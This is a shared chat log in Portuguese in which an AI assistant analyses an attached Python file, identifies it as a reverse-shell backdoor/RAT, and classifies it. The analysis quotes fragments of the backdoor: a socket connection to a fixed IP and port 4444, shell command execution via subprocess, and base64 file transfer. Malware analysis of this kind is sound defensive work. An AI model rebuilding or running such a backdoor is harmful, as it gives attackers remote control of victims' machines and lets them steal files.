codigo.py

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Worked for 6s >

**Este arquivo é malware** (especificamente um *backdoor* / reverse shell / RAT simples).

### Análise passo a passo

1. **Nome da classe e intenção explícita**

   A classe se chama `Backdoor`. Isso já é um forte indicativo de propósito malicioso.

2. **Conexão de saída (reverse connection)**

   ```python
   self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   self.connection.connect((ip, port))
   ```

   O código **inicia** uma conexão TCP para o endereço `192.168.43.38:4444`.

   Isso é típico de *reverse shell*: a máquina infectada se conecta ao atacante (C2), o que facilita a passagem por firewalls.

3. **Comunicação codificada**

   - `reliable_send` e `reliable_receive` usam JSON para enviar/receber dados de forma estruturada.
   - Isso permite transmitir comandos e resultados de forma mais robusta do que um shell simples.

4. **Capacidade de execução de comandos do sistema**

   ```python
   def execute_system_commmand(self, command):
       return subprocess.check_output(command, shell=True)
   ```

   Qualquer comando recebido pode ser executado com `shell=True` (permissão total do usuário que rodou o script). Isso dá controle remoto completo da máquina.

5. **Navegação no sistema de arquivos**

   ```python
   ```

Copied link to clipboard. Shared links can be viewed by anyone with the link.

```python
def change_working_directory_to(self, path):
    os.chdir(path)
```

O atacante pode mudar o diretório de trabalho ( `cd` ).

6. **Upload e Download de arquivos**
   - `write_file` : recebe conteúdo em base64, decodifica e grava no disco → **upload** de arquivos pelo atacante.
   - `read_file` : lê um arquivo e envia em base64 → **download** de arquivos da vítima.

   Essas funções permitem roubar dados e implantar outros malwares.
7. **Loop principal de comando e controle**

   O método `run()` fica em loop infinito recebendo comandos e respondendo:
   - `exit` → encerra a conexão
   - `cd` → muda de diretório
   - `download` → envia arquivo
   - `upload` → recebe e grava arquivo
   - Qualquer outro comando → executa no sistema
8. **Instanciação final**

```python
Python

my_backdoor = Backdoor("192.168.43.38", 4444)
my_backdoor.run()
```

O script já tenta se conectar automaticamente a um IP/porta específicos assim que é executado.

## Conclusão

| Característica | Benigno? | Malware? |
|---|---|---|
| Conexão de saída para IP fixo | Não | Sim |
| Execução remota de comandos | Não | Sim |
| Upload/Download de arquivos | Não | Sim |
| Nome e estrutura de backdoor | Não | Sim |
| Persistência / ofuscação | Não | Básico |

**Veredicto final: é malware.**

Copied link to clipboard. Shared links can be viewed by anyone with the link.

Trata-se de um backdoor Python clássico (reverse shell com suporte a file transfer). Não há

nenhuma funcionalidade legítima; o único propósito é dar controle remoto da máquina a quem estiver escutando na porta 4444 do IP `192.168.43.38`.

Qual é a categoria principal deste malware?

Worked for 6s >

**Categoria principal: Backdoor** (mais especificamente, um **Remote Access Trojan – RAT** / reverse shell).

### Por que essa classificação?

- A função central do código é **abrir e manter um canal de acesso remoto** para um atacante.
- Ele se conecta ativamente a um servidor de comando e controle (C2) e permite:
  - Execução de comandos do sistema
  - Navegação no sistema de arquivos
  - Upload e download de arquivos

Isso é a definição clássica de um **backdoor**.

### Classificações secundárias possíveis

| Classificação | Aplica-se? | Observação |
|---|---|---|
| **Backdoor** | Sim (principal) | Função essencial do malware |
| **RAT** (Remote Access Trojan) | Sim | É um backdoor com capacidade de controle interativo |
| **Trojan** | Parcialmente | Pode ser entregue disfarçado, mas o código em si é puramente um backdoor |
| Worm / Ransomware / Spyware | Não | Não se propaga sozinho, não criptografa arquivos nem tem foco em coleta furtiva de dados |

**Resumo:** a categoria principal é **Backdoor**.

↘ Qual seria o nome do malware

↘ Qual é a categoria secundária

↘ Como esse malware se conecta ao C2

Copied link to clipboard. Shared links can be viewed by anyone with the link.